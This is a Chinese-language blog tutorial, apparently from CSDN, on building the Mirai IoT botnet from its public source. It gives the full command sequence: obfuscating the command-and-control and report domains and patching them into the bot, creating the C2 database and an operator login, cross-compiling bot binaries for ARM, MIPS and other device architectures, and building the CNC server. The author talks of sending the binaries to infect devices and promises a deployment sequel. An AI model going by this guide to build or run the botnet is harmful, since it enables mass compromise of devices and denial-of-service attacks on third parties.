G.O.A.T!最靠谱的Mirai僵尸病毒编译教程

前言

最近在学习Mirai病毒环境的搭建,看了网络上几乎所有的关于Mirai病毒编译的教程,学到了很多,最后也成功把环境搭建起来。我渐渐地发现,对于这个病毒的编译,每个教程都有一点小小的瑕疵,所以单看一个教程是很难成功搭建的。但也正是这些人的分享,我才可以对Mirai病毒有了一定的了解。同时我也想对某些步骤进行一些原理上的解释,于是就有了这篇博客,是一篇堪称保姆级的搭建教程。

“万物之源”

这个病毒在Github上是有源码释放的,所以下面先给出网址,一些的搭建都是以它为核心。

https://github.com/jgamblin/Mirai-Source-Code

在这里插入图片描述
可以先看一下这个文件的结构,dlr是一些病毒调用的工具,loader是负责感染的,mirai是病毒的本体,scripts是脚本。(简单看看就行)这个RAEDME有点意思,应该是原作者写的,第一人称,比较狂,阴阳怪气地嘲讽了一下试图看透他病毒的两个博客。也介绍了这个病毒编译的过程,但这个过程写的我是觉得有点粗糙,面向的肯定也是对病毒这方面比较了解的人群,对新手有点不太友好。这也就是为什么大家要看我写的博客,哈哈哈哈哈哈哈。

准备工作

你需要的仅仅是一个Ubuntu系统,如果电脑不是Ubuntu系统可以安装VMware来虚拟化一个,也是很方便的。我在这里想要指明的点是编译仅仅需要一个主机就够了,但是病毒的各种组成部分是需要分布在多个主机上的。我们这篇博客,讲的是把github上的代码编译成能执行的程序,之后如何使用,如果本篇博客点击量够高,就可以看到下一篇了!

开始

接下来,会出现大量的linux命令,如果你对linux系统的命令有过初步的了解,看这些一定是没问题的。

apt-get install git gcc golang electric-fence mysql-server mysql-client

一条指令完成需要的工具的安装,包括gcc,golang,mysql数据库等等。
这里我想强调的是:一条指令看似洒脱,结果到后来就出了大问题,这样安装的golang版本太低,到后来编译的时候就会报错,所以我建议大家去网上找教程,安装高版本的golang,越高越好。

git clone https://github.com/jgamblin/Mirai-Source-Code

linux系统的好处,git命令直接就把整个文件夹下载到了自己的本地。不出意外就是在home文件夹中。(Mirai-Source-Code)
在这里插入图片描述

对CNC服务器与Report服务器域名进行加密

为啥要加密,这个就是作者的高明了。为了隐藏自己,每一个被感染的设备访问CNC控制中心的时候都是用域名访问的,而不是直接的IP地址,然而这个域名他甚至都要进行加密。所以我们也只好照办。
要加密,首先得要编译出加密程序。

cd mirai/tools && gcc enc.c -o enc.out

然后开始加密。

./enc.out string cnc.mirai.com
./enc.out string report.mirai.com

string是字符串,经过enc.out的帮助,cnc.mirai.com不再是字符串,而变成了一系列的数字。
类似于这样:

XOR’ing 14 bytes of data…
\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22

我们拿到了加密后的域名,是需要去修改病毒本体的源代码的,毕竟是病毒本体去连接CNC控制中心。

vi …/bot/table.c

vi是个好东西,然后就可以编辑table.c这个文件了。找到它的18-21行。如图所示:在这里插入图片描述
把那一串数字改成之前你加密的东西,第二个参数即后面的数字也要改成相应的长度。我想说的是我前面加密的域名是cnc.mirai.com,但其实域名你可以随便起名,这又要牵扯到为了搭建成功,你还得自己配置DNS服务器,让人家计算机认识你这个域名就是对应的你CNC的ip,现在先不用管!

配置CNC控制中心

在这一部分,就要涉及到数据库的相关知识了,这个CNC其实是一个命令的发起中心,也是所有被感染设备的管理中心。所以作者在CNC中建立了一个数据库,用来记录这些东西,包括使用过的攻击命令,与能够操控僵尸的用户数量等等。

cd …/…/scripts
vi db.sql

在db.sql文件中,我们插入“use mirai”这个sql语句。

CREATE DATABASE mirai;
use mirai;

然后让我们启动数据库。

service mysql start //启动Mysql 服务
cat db.sql | mysql -uroot -proot
mysql -uroot -proot //以用户名和密码都是root登录数据库
INSERT INTO users VALUES (NULL, ‘mirai-user’, ‘mirai-pass’, 0, 0, 0, 0, -1, 1, 30, ‘’); //添加的用户
exit //退出

这几句话就是插入了一个能够使用这个CNC控制中心的用户,用户名是mirai-user,密码是mirai-pass。
然后,修改mirai/cnc/main.go中用户名和密码都改成root。

vi …/mirai/cnc/main.go

交叉编译

为啥要交叉编译,就是因为这个病毒其实最后编译出来有好多的版本,包括以arm为后缀的,以dbg为后缀的,以mips为后缀的,适应了各种各样的环境。但是这些环境上并不具备编译出这些病毒文件的能力,所以我们就在自己的电脑上先给它把这些版本一次都编译出来,到时候比如要感染arm架构的设备,我直接就把以arm后缀为结尾的病毒本体想办法传送过去就OK了,这就是我理解的交叉编译。

cd … && mkdir cross-compile-bin
cd cross-compile-bin
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

这一大堆,看着有点乱,其实就是建了个文件夹,然后下载了我们交叉编译需要的文件。接下来就可以运行交叉编译的脚本了。

cd …/scripts
sudo ./cross-compile.sh

在运行过程中,会问你是否安装mysql,果断选n,因为前面已经安装完了,不需要浪费时间。

vi ~/.bashrc

编辑bashrc文件,在末尾添加以下内容:
export PATH=$ PATH:/etc/xcompile/armv4l/bin
export PATH=$ PATH:/etc/xcompile/armv5l/bin
export PATH=$ PATH:/etc/xcompile/armv6l/bin
export PATH=$ PATH:/etc/xcompile/i586/bin
export PATH=$ PATH:/etc/xcompile/m68k/bin
export PATH=$ PATH:/etc/xcompile/mips/bin
export PATH=$ PATH:/etc/xcompile/mipsel/bin
export PATH=$ PATH:/etc/xcompile/powerpc/bin
export PATH=$ PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$ PATH:/etc/xcompile/sh4/bin
export PATH=$ PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
刷新一下修改过的内容:

mkdir ~/go
source ~/.bashrc

最后一步,编译CNC和Bot

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd …/mirai
./build.sh debug telnet

最后成功的标准是:看到接下来这样的文件夹。
在这里插入图片描述
最终编译好的文件都是在debug文件夹下。

尾声

希望大家都能够一次成功!如果大家喜欢看,我也会更新后续的Mirai部署部分,教大家可以轻松的将被感染设备连上CNC控制中心进行病毒的测试。

发布了2 篇原创文章 · 获赞 2 · 访问量 1167

猜你喜欢

转载自blog.csdn.net/weixin_42652850/article/details/104889173